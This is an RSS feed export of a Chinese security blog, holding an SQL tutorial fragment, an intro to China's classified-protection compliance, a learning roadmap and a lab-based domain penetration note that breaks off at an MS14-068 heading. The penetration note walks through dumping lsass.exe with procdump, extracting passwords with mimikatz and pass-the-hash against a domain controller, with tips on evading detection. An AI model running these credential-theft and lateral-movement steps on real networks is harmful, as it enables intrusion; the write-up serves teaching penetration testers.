(&apos;san&apos;,18,0)

方法三：交换顺序，数值按照列名给就行

insert into demo
(nname,sex,age)
values
(&apos;san&apos;,1,22)

方法四：没给数值的列显示null

insert into demo
(nname)
values
(&apos;li&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;11、插入多条数据&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;insert into demo(nname,age,sex)若不写列名，则默认插入所有列数据

select &apos;wang&apos;,28,0 union

select &apos;wu&apos;,30,1

插入一列

alter table demo

add sex int
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;12、删除&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;删除某一行：
delete from demo
where nname=&apos;li&apos;

删除某一列：
alter table demo
drop column sex

删除整张表：
delete from demo--不加where条件就是删除整个表
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;13、清空整张表&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;truncate table demo

注意：删除整张表操作和清空整张表操作对比
	 删除是删除了所有，包括表结构
	 清空只是清空了表中数据，但表结构还在，清空速度快些
	 
删除数据库
drop database new
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;14、更改&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;改某一列数据set是设置要改的数据
update demo
set
age=&apos;28&apos;
where nname=&apos;zhang

改多列数据：
update demo
set
nname=&apos;zhao&apos;,
age=&apos;13,
sex=&apos;0&apos;
where nname=&apos;li&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;15、查询&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;查询表中所有数据，*代表所有列：
select *
from demo

查询表中某一行所有数据：
select *
from demo
where nname=&apos;li&apos;

查询表中某一行某一列的数据：
select age
from demo
where nname=&apos;li&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;16、查询出来的结果列用as取别名&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;select age as&apos;年龄&apos;
from demo
where nname=&apos;li&apos;

查询出来的结果列用=取别名：
select wname nname
from demo
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>等保：行业引入</title><link>https://wangyi187.top/posts/mlps-01-intro/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-01-intro/</guid><description>等保行业引入 基础三网：互联网、电信网、广电网 物联网（万物互联） 2004年等保萌芽期 17年前信息安全，17年后网络安全 国内外网络安全大事件 1.伊朗震网事件与震网病毒 病毒</description><pubDate>Fri, 08 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;等保行业引入&lt;/h1&gt;
&lt;p&gt;基础三网：互联网、电信网、广电网&lt;/p&gt;
&lt;p&gt;物联网（万物互联）&lt;/p&gt;
&lt;p&gt;2004年等保萌芽期&lt;/p&gt;
&lt;p&gt;17年前信息安全，17年后网络安全&lt;/p&gt;
&lt;h2&gt;国内外网络安全大事件&lt;/h2&gt;
&lt;h3&gt;1.伊朗震网事件与震网病毒&lt;/h3&gt;
&lt;p&gt;病毒特性：震网病毒是一种蠕虫病毒（2010年诞生），自我繁殖能力强，具备破坏性&lt;/p&gt;
&lt;p&gt;攻击目标：工业上使用的可编程逻辑控制器（PLC）&lt;/p&gt;
&lt;p&gt;传播途径：U盘传播&lt;/p&gt;
&lt;p&gt;通过修改代码，改变离心机的转速&lt;/p&gt;
&lt;p&gt;对普通电脑没有什么危害，只会感染西门子公司（德国，生产工控、医疗等高精度设备）的PLC文件&lt;/p&gt;
&lt;p&gt;最终结果：摧毁了伊朗1000多台离心机&lt;/p&gt;
&lt;p&gt;网络安全升级到工控安全，网络空间安全（如卫星）&lt;/p&gt;
&lt;h3&gt;2.海康威视视频弱口令事件&lt;/h3&gt;
&lt;p&gt;14年左右&lt;/p&gt;
&lt;p&gt;root弱口令，web后台弱口令&lt;/p&gt;
&lt;h3&gt;3.物联网mirai病毒与视频安全&lt;/h3&gt;
&lt;h3&gt;摄像头自身存在的安全漏洞&lt;/h3&gt;
&lt;p&gt;1.摄像头系统的弱口令&lt;/p&gt;
&lt;p&gt;2.存在不必要的远程服务&lt;/p&gt;
&lt;p&gt;3.替换摄像头为终端设备&lt;/p&gt;
&lt;p&gt;4.系统组件和应用程序漏洞&lt;/p&gt;
&lt;h3&gt;常见摄像头防护设备&lt;/h3&gt;
&lt;p&gt;华三 鹰视&lt;/p&gt;
&lt;p&gt;锐捷 ISG（视频安全防护）&lt;/p&gt;
&lt;p&gt;迪普 视频安全接入网关&lt;/p&gt;
&lt;h3&gt;4.乌克兰变电站事件&lt;/h3&gt;
&lt;p&gt;2015年12月&lt;/p&gt;
&lt;p&gt;黑客利用钓鱼邮件，让电力员工下载一款叫做黑暗力量的恶意软件，2007年（俄罗斯）&lt;/p&gt;
&lt;p&gt;攻击了约60座变电站&lt;/p&gt;
&lt;h3&gt;5.委内瑞拉变电站事件&lt;/h3&gt;
&lt;p&gt;2019年3月&lt;/p&gt;
&lt;p&gt;直接：炸电厂&lt;/p&gt;
&lt;p&gt;间接：炸能源&lt;/p&gt;
&lt;p&gt;现在：黑客破坏电厂&lt;/p&gt;
&lt;h3&gt;6.某图纸泄密事件&lt;/h3&gt;
&lt;p&gt;非屏蔽双绞线&lt;/p&gt;
&lt;p&gt;屏蔽双绞线，屏蔽机柜，光纤&lt;/p&gt;
&lt;p&gt;防止磁场外泄&lt;/p&gt;
&lt;h3&gt;7.某网站被黑事件&lt;/h3&gt;
&lt;p&gt;网站防护措施：WAF&lt;/p&gt;
&lt;p&gt;数据库审计&lt;/p&gt;
&lt;h3&gt;8.斯诺登事件&lt;/h3&gt;
&lt;p&gt;棱镜门事件&lt;/p&gt;
&lt;p&gt;2013年&lt;/p&gt;
&lt;p&gt;《第四公民》&lt;/p&gt;
&lt;p&gt;14年，中央网络安全和信息化领导小组&lt;/p&gt;
&lt;p&gt;就业方向：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;等保测评师 --- 资质（测评机构---有资质的人）
等保工程师 --- 整改
渗透测试工程师
运维工程师
安全服务工程师
密保
售前，售后
厂商工程师
驻点
安全测试
安全专家 --- 框架
信息安全工程师
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>网络安全学习路线图（2023版）</title><link>https://wangyi187.top/posts/security-learning-roadmap/</link><guid isPermaLink="true">https://wangyi187.top/posts/security-learning-roadmap/</guid><description>从零基础到中级网络安全工程师的完整学习路线图。</description><pubDate>Fri, 01 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;三张路线图依次覆盖：安全基础入门、Web 渗透（初级）、进阶提升（中级）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/security-learning-roadmap/e7ad7f1d13-%E7%AC%AC%E4%B8%80%E9%98%B6%E6%AE%B5%EF%BC%9A%E5%AE%89%E5%85%A8%E5%9F%BA%E7%A1%80%EF%BC%88%E5%85%A5%E9%97%A8%EF%BC%89.png&quot; alt=&quot;网络安全学习路线图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/security-learning-roadmap/afc0660d54-%E7%AC%AC%E4%B8%89%E9%98%B6%E6%AE%B5%EF%BC%9A%E8%BF%9B%E9%98%B6%E9%83%A8%E5%88%86%EF%BC%88%E4%B8%AD%E7%BA%A7%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B%E5%B8%88%EF%BC%89.png&quot; alt=&quot;网络安全学习路线图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/security-learning-roadmap/c049ec010b-%E7%AC%AC%E4%BA%8C%E9%98%B6%E6%AE%B5%EF%BC%9AWeb%E6%B8%97%E9%80%8F%EF%BC%88%E5%88%9D%E7%BA%A7%E7%BD%91%E5%AE%89%E5%B7%A5%E7%A8%8B%E5%B8%88%EF%BC%89.png&quot; alt=&quot;网络安全学习路线图 3&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>域渗透笔记</title><link>https://wangyi187.top/posts/domain-pentest/</link><guid isPermaLink="true">https://wangyi187.top/posts/domain-pentest/</guid><description>0x08 域渗透 一、简述 ​ 在内网中有一个出口路由器 防火墙 ，然后中间有一台web服务器，这个web对外提供一个web服务通过防火墙映射出来，然后我们通过web的漏洞获得了该</description><pubDate>Sun, 04 Feb 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x08 域渗透&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;一、简述&lt;/h2&gt;
&lt;p&gt;​	在内网中有一个出口路由器(防火墙)，然后中间有一台web服务器，这个web对外提供一个web服务通过防火墙映射出来，然后我们通过web的漏洞获得了该web服务器主机的一个system权限，然后这个时候如果甲方有进一步的内网渗透需求，以证明企业面临的一个风险，那这个时候我们就需要做一个内网渗透，那非常常见的一个情况就是这个web服务器是处于一个域内环境的主机，那这个时候我们打进去实际上打的就是一个域渗透，事实上域渗透也是内网渗透的一种，域渗透做为一个比较大的体系它的攻击思路和其他内网渗透是不太一样的&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/b293eb3c93-image-20240130134316089.png&quot; alt=&quot;image-20240130134316089&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;二、实验部署环境&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;域控：Windows Server 2008 R2	IP:10.1.1.1&lt;/p&gt;
&lt;p&gt;域内主机：Windows 7 专业版	    IP:10.1.1.100&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;注: 在Windows 7的cmd上复制的技巧，先右键-&amp;gt;标记，然后选中要复制的内容，右键，成功复制，在自己的电脑上Ctrl+V即可&lt;/p&gt;
&lt;h2&gt;三、域渗透的步骤&lt;/h2&gt;
&lt;p&gt;​	我们就直接用这台Windows 7来模拟一个已经被攻陷的设备，就不说用什么msf再去打这台Windows 7了，这个时候呢就会很麻烦了，虽然说实战确实是这样做，我们为了节省一些没必要的步骤，我们就选择直接操作了，打开cmd进行命令操作&lt;/p&gt;
&lt;h3&gt;3.1 域内信息收集&lt;/h3&gt;
&lt;p&gt;进入到域环境之后，首先我们要判断这是一个域环境，这时候我们就需要用到一些命令&lt;/p&gt;
&lt;h4&gt;3.1.1 判断环境&lt;/h4&gt;
&lt;p&gt;​	在实战中，以下命令&lt;code&gt;回显的信息记得都要及时保存&lt;/code&gt;，尽量不要进行重复的命令查看，在域内留下的信息越少越好，一个是增加他们蓝队排查的难度，还有一个就是避免被溯源出操作轨迹和行动，所以说操作越少越好&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;route print # 查看路由信息(收集域内网段信息)

	判断哪些网段跟你互通，比如说你把当前网段打穿了你就可以打下一个网段，或者说当前网段无从下手的话你就可以查看下一个网段的一些设备

arp -a # 查看arp表(收集域内网段信息)

	查看跟你互通的设备地址，与route print的效果差不多
	
ipconfig /all # 查看网卡信息(判断是否为域环境，收集域控地址和域名)

	查看回显，一般在我们电脑上主DNS后缀都是空的，但是在这台域内Win7却有主DNS后缀，其实，如果拥有主DNS后缀的话这台设备大概率就是一台域内主机，而主DNS后缀显示的就是它的域名称，然后再翻下来，查看DNS服务器，显示10.1.1.1指向域内，那DNS指向域内(内网)地址的时候，这时候就会出现两种情况了	
	
	DNS服务器指向内网的地址
		1&amp;gt;域内DNS服务器
		2&amp;gt;域控
		
	大部分情况下都是指向域控，除非说渗透的内网非常大，那边的网络工程师也比较专业，资源也比较丰富，他专门搞了一台DNS服务器来做一个域内的解析，那这种情况才是选择第一种
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.1.2 收集本机信息&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;whoami /user # 显示出本机的用户名和SID(收集域SID)

User Name SID
========= ==============================================
csb\lei   S-1-5-21-2436503632-2301858049-3091047699-1106

域SID: S-1-5-21-2436503632-2301858049-3091047699 
域内权限: 1106 
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.1.3 收集域内信息&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;net view # 查看域内在线主机(注意这条命令需要关闭当前防火墙才能正常回显)

net view /domain # 查看当前有几个域(其中的WORKGROUP是默认工作组不是域)

	我们在进行域渗透的时候是有小概率遇到域森林这种东西的，就是有多个域环境同时叠加，那我们这个设备有可能处于多个域中，就可以通过这条命令来进行查看

net user /domain # 查看域内用户(可以收集到域控主机名) 

net group /domain # 查看域内组别信息

	其中的Enterprise Admins(企业级管理员)才是真正的高权限管理员，一般情况下是不会有这个企业级管理员的设置的，企业级管理员一般在域森林，多域的环境下才有可能会有
	
	域控=&amp;gt;单域
	企业级管理员=&amp;gt;域森林

net group &quot;组名&quot; /domain # 查看组内用户

	这条命令要先配合着之前那条net group /domain用，先看有什么组，然后查看几个关键的组别(Domain Admins/Domain Controllers 或者 Enterprise Admins等)，命令示例net group &quot;Domain Admins&quot; /domain
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;3.1.4 定位域控&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;net user /domain&lt;/li&gt;
&lt;li&gt;net group &quot;Domain Controllers&quot; /domain&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 本地认证&lt;/h3&gt;
&lt;p&gt;​	我们需要先了解一下Windows的认证机制，Windows用户的账号密码存放在 &lt;code&gt;C:\Windows\System32\config\SAM&lt;/code&gt;就是存储主机账号密码的数据库文件，那这个时候我们本地认证要了解的是Windows的登录过程&lt;/p&gt;
&lt;p&gt;​		&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/be43189e38-image-20240130150050957.png&quot; alt=&quot;image-20240130150050957&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;winlogon.exe: 输入账号密码的登录页面&lt;/p&gt;
&lt;p&gt;lsass.exe: Windows系统的安全机制，影响本地安全和登陆策略&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;3.2.1 NTLM hash&lt;/h4&gt;
&lt;p&gt;​	Windows本身不会存储明文密码的，所以说在SAM文件中存储的密码是散列值，然后在登录过程中用户输入的密码转换为散列值做匹配&lt;/p&gt;
&lt;h4&gt;3.2.2 加密过程&lt;/h4&gt;
&lt;p&gt;password=&amp;gt;hex=&amp;gt;unicode=&amp;gt;md4=&amp;gt;NTLM hash&lt;/p&gt;
&lt;h4&gt;3.2.3 存储密码的格式&lt;/h4&gt;
&lt;p&gt;例:administrator:500:LM hash:NTLM hash&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;​	LM hash是Windows为了提高它的一个安全性采用的一个散列算法，本质上是DS加密，因为它比较容易破解所有后续都采用NTLM hash，但为了保证系统的兼容性，Windows只是禁用了LM hash，LM hash的加密是存在有缺陷的，它的明文被限制在14位以内，所以说如果你要停用LM hash，你的密码只需要设置到14位以上即可&lt;/p&gt;
&lt;p&gt;​	如果:LM hash开头是AAD3B,那么它的密码则是一个空密码或者未设置密码&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;​	&lt;strong&gt;通过以上这些东西我们能看出两种情况，一个是如果他停用了LM hash，那么他的一个密码就在14位以上，二是如果LM hash他的开头是AAD3B，那么我们就可以知道他是空密码或者未设置密码&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.3 从lsass.exe获取密码&lt;/h3&gt;
&lt;p&gt;​	在我们登录的时候winlogon.exe将账号密码发给lsass.exe，lsass.exe读入内存，同时lsass.exe会去SAM文件读取密文密码也读入内存，那这个就意味着它这个程序的内存中同时存放着明文和密文，lsass.exe这个进程也会一直存在着，在任务管理器可以看见，内存这个东西可以通过OD动态调试，可以调试的出来&lt;/p&gt;
&lt;h4&gt;3.3.1 lsass.exe&lt;/h4&gt;
&lt;p&gt;​	在内网进行提权、横向，最常用的方法就是&lt;code&gt;dump进程lsass.exe内存&lt;/code&gt;从中获取明文口令或hash&lt;/p&gt;
&lt;p&gt;​	然后要注意这个lsass.exe是一个系统进程，用于Windows系统的一个安全机制，主要是在本地安全和登录策略这一块，那在lsass.exe的进程空间中，存放着该主机的域，本地用户名，密码等重要信息，这里有个前提条件就是，lsass.exe是一个系统级的进程，所以&lt;code&gt;首先需要提权获取高权限&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;​	这时候会有一个问题，我都拿到root/System权限了那还要账号密码干嘛？如果说你想实现一个远程登录(RDP)，那这个时候拿到对方的root权限是没有用的，要拿到对方的账号密码才能正常的RDP连接，包括SSH&lt;/p&gt;
&lt;h4&gt;3.3.2 procdump&lt;/h4&gt;
&lt;p&gt;​	监测应用程序的CPU异常动向，并且对内存做一个转储。&lt;/p&gt;
&lt;h5&gt;3.3.2.1 相关参数&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;-ma: 写入完整的转储文件&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;所有内存(映像、映射和专用)&lt;/li&gt;
&lt;li&gt;进程、线程、模块、句柄、地址空间等所有元数据&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;-accepteula: 自动接受Sysinternals许可协议&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;procdump有多版本，实际渗透中这东西需要放到对方电脑去执行的，要&lt;code&gt;先判断对方电脑的架构才去上传相对应的版本&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;因为lsass.exe是需要管理员权限才能调用的，所以我们cmd直接使用管理员权限执行来模拟一个提权后的场景&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;procdump64.exe -ma -accepteula lsass.exe passwd（cmd必须要管理员权限）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/c9b47aedb1-image-20240130160805575.png&quot; alt=&quot;image-20240130160805575&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	这个时候桌面就会有一个passwd.dmp，这里的.dmp就是内存转储文件，这个内存转储文件如果我们进行手动的分析是十分麻烦的，那我们就需要用到一些其他的工具进行调试，就譬如mimikatz&lt;/p&gt;
&lt;h4&gt;3.3.3 mimikatz(强大的轻量级调式工具)&lt;/h4&gt;
&lt;p&gt;​	调式工具，功能强大，能直接读取WindowsXP-2012密码，它的主要用途就是能从内存中提取纯文本密码&lt;/p&gt;
&lt;p&gt;​	首先把mimikatz和刚才的内存转储文件放在同一个目录下，好调用，这里需要注意因为mimikatz很容易被电脑监测出来时黑客工具，所以我们需要将刚才的转储文件先上传到我们自己的电脑，用自己电脑的mimikatz分析这份内存转储文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mimikatz.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/619ae688d5-image-20240130163700376.png&quot; alt=&quot;image-20240130163700376&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;coffee # 没什么用途，就是单纯print出一杯热腾腾的卡布奇诺
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/0f18e3e6f0-image-20240130163624133.png&quot; alt=&quot;image-20240130163624133&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sekurlsa::minidump ./passwd.dmp（minikatz.exe要与passwd.dmp放在同一目录下）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/e5773bb1b8-image-20240130164425306.png&quot; alt=&quot;image-20240130164425306&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sekurlsa::logonpasswords（实战中拿到如图所示的内容就意味着结束，保存回显内容即可）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/f65edee056-image-20240130164503263.png&quot; alt=&quot;image-20240130164503263&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	但是有时候我们去复制这些回显内容的时候，很大概率会发送闪退，因为读取内存本身就是逆天而行的，我们可以先输入log，桌面上就会一份mimikatz的日志文件，我们输入的命令和输出都会记入到日志文件里，方便我们进行复制操作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;log
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/e0b89a2b4d-image-20240130202255586.png&quot; alt=&quot;image-20240130202255586&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/4352eb0721-image-20240130203254439.png&quot; alt=&quot;image-20240130203254439&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	还有就是虽然我用管理员执行的mimikatz，但是这并不意味着mimikatz就是管理员权限，它有一些模块必须要有管理员权限才能使用，mimikatz有自带的提权模块，但是这个提权像漏洞一样提权，而是提升mimikatz这个工具自身的权限，它会依据cmd这个终端的权限来提升，如果说cmd是以管理员权限打开的mimikatz，那mimikatz进行提权后也会获得管理员权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;privilege::debug
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/c3829e2891-image-20240130211128490.png&quot; alt=&quot;image-20240130211128490&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;​	这就意味着mimikatz的权限提升了，进入到了一个调试模块，这个模式只有管理员才能进入&lt;/p&gt;
&lt;h2&gt;四、PTH(pass-the-hash)哈希传递&lt;/h2&gt;
&lt;p&gt;​	当我们使用mimikatz去拿密码的时候，有时候会出现密码看不见，没有爆破出明文密码，但是它有LM hash和NTLM hash，这种情况是有利用空间的&lt;/p&gt;
&lt;p&gt;​	PTH: 攻击者可以使用用户密码的hash值对远程服务器进行身份校验，扩大战果，它的实现原理其实是撞库，就是密码匹配嘛，它的前置条件就是密码相同，当你密码相同的时候hash值就是相同的，因为他没有进行加盐操作，那哈希传递无非就是我不用密码登录我用hash登录这样的一个漏洞&lt;/p&gt;
&lt;p&gt;​	在有NTLM hash的情况下，我们可以使用mimikatz的一个PTH模块来发起一个攻击&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;攻击缺陷&lt;/code&gt;: hash保持静态(密码保持相同的同时不修改密码,因为域内不可能所有用户的密码都不一样嘛，有可能管理员会设置一些默认密码等等)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;适用于&lt;/code&gt;: 域/工作组，可以获取hash但是不能爆破hash，同时内网中有相同密码的机器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;补丁&lt;/code&gt;: KB2871997 修复了普通用户能够PTH的漏洞(但是这个补丁并不算非常关键的修复，因为管理员还是可以PTH，我们要是能拿到LM hash这就意味着我们从lsass中dump出密码来了，这就意味着我们本身就是一个管理员权限了，但是这个补丁又有一定的影响，当你作为后门使用的时候，可能说它就是一个普通用户，里面有一个管理员的LM hash了我想进行一个登录，我还得把这个普通用户进行一个提权我才能PTH)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#从sekurlsa::logonpasswords拿的

msv :	
	 [00000003] Primary
	 * Username : lei
	 * Domain   : CSB
	 * LM       : e7a7cfeb052331cbd9efd7f401356d4b
	 * NTLM     : f7b87deb4a556bee78a8033cb08c5695
	 * SHA1     : bcbf3d09c6e35d3cd5f03558e30c2ccb2002e04d
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.1 基本条件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;PTH的对象: 查看域内用户(net user /domain),选择对象&lt;/li&gt;
&lt;li&gt;域名: net view /domain&lt;/li&gt;
&lt;li&gt;NTLM hash: procdump配合mimikatz来完成&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4.2 发起攻击&lt;/h3&gt;
&lt;p&gt;首先得保证提权成功进入debug模式(privilege::debug)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这里我的域控用户为administrator，域控IP:10.1.1.1,域名为csb,NTLM hash为f7b87deb4a556bee78a8033cb08c5695&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;模板:

sekurlsa::pth /user:&amp;lt;pth对象&amp;gt; /domain:&amp;lt;域名&amp;gt; /ntlm:&amp;lt;ntlm hash&amp;gt; [/run:name]

举例:

sekurlsa::pth /user:administrator /domain:csb.com /ntlm:f7b87deb4a556bee78a8033cb08c5695
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;这个时候会默认弹出administrator这个域控用户的cmd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/573da15fbd-image-20240130221902790.png&quot; alt=&quot;image-20240130221902790&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;查看是否为域控用户&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whoami
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/bb1e8b720d-image-20240130225145571.png&quot; alt=&quot;image-20240130225145571&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;查看域控的C盘内容(我的域控IP:10.1.1.1)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dir \\10.1.1.1\c$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/c422c577da-image-20240130222456699.png&quot; alt=&quot;image-20240130222456699&quot; style=&quot;zoom:25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;psexec&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;set smbdomain 域名&lt;/li&gt;
&lt;li&gt;set smbpass LM:NTLM&lt;/li&gt;
&lt;li&gt;set smbuser 用户名&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;wmiexec&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;set &amp;lt;command&amp;gt;远程执行的命令&lt;/li&gt;
&lt;li&gt;set rhost 目标IP&lt;/li&gt;
&lt;li&gt;set smbdomain 域名&lt;/li&gt;
&lt;li&gt;set smbuser 用户名&lt;/li&gt;
&lt;li&gt;set smbpass LM:NTLM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;psexec和wmiexec的差别: psexec会留下大量日志，而且有可能会失败，而wmiexec会更加隐蔽&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;五、Kerberos认证协议&lt;/h2&gt;
&lt;p&gt;​	Kerberos认证协议是一种第三方协议，它通过使用对称加密技术，然后为客户端和服务器的应用程序提供一个强身份验证&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提供服务的Server&lt;/li&gt;
&lt;li&gt;访问服务的Client&lt;/li&gt;
&lt;li&gt;KDC:密钥分发中心
&lt;ul&gt;
&lt;li&gt;AS:身份验证服务&lt;/li&gt;
&lt;li&gt;TGS:票据授权服务&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TGT:票据授权票据&lt;/p&gt;
&lt;h3&gt;5.1 认证过程&lt;/h3&gt;
&lt;p&gt;​	DC是域控，KDC是DC下的一个第三方服务，客户端首先向AS发起请求，这个时候AS会给客户端返回一个TGT(票据授权票据)，其实相当于你去买了张票，然后这个时候你拿到了这个票根，然后TGS这时候就要上场了，首先我们向TGS发起一次访问，那这个访问的时候我们会带上我们的TGT，TGT就会发给TGS，TGS解密TGT成功之后，它会获得一个新的票据返回给我们，这个票据也是TGT，但这个时候的TGT才是真正的TGT，是完整体，就相当于你去AS那边去拿了一个票根，拿TGS盖了一个章，那这个TGT只有真正盖过章之后才是有效的，那这个时候我们就可以拿这个完整TGT去访问服务器&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/domain-pentest/b5fc39f51e-image-20240130230351430.png&quot; alt=&quot;image-20240130230351430&quot; style=&quot;zoom: 25%;&quot; /&amp;gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;客户端向AS发起请求，获得TGT&lt;/li&gt;
&lt;li&gt;客户端使用从AS获得的TGT，向TGS发起请求，TGS解密TGT后，生成新的票据返回客户端&lt;/li&gt;
&lt;li&gt;客户端就可以使用TGS返回的票据向服务器发起访问&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;六、PTC(pass-the-cache)缓存传递&lt;/h2&gt;
&lt;p&gt;​	如果我们能拿到用户的TGT然后将它导入到内存中，那么是不是可以冒充该用户获取访问权限？这就是PTC缓存传递，这里我们需要使用一个漏洞&lt;/p&gt;
&lt;h3&gt;6.1 MS14-068&lt;/h3&gt;
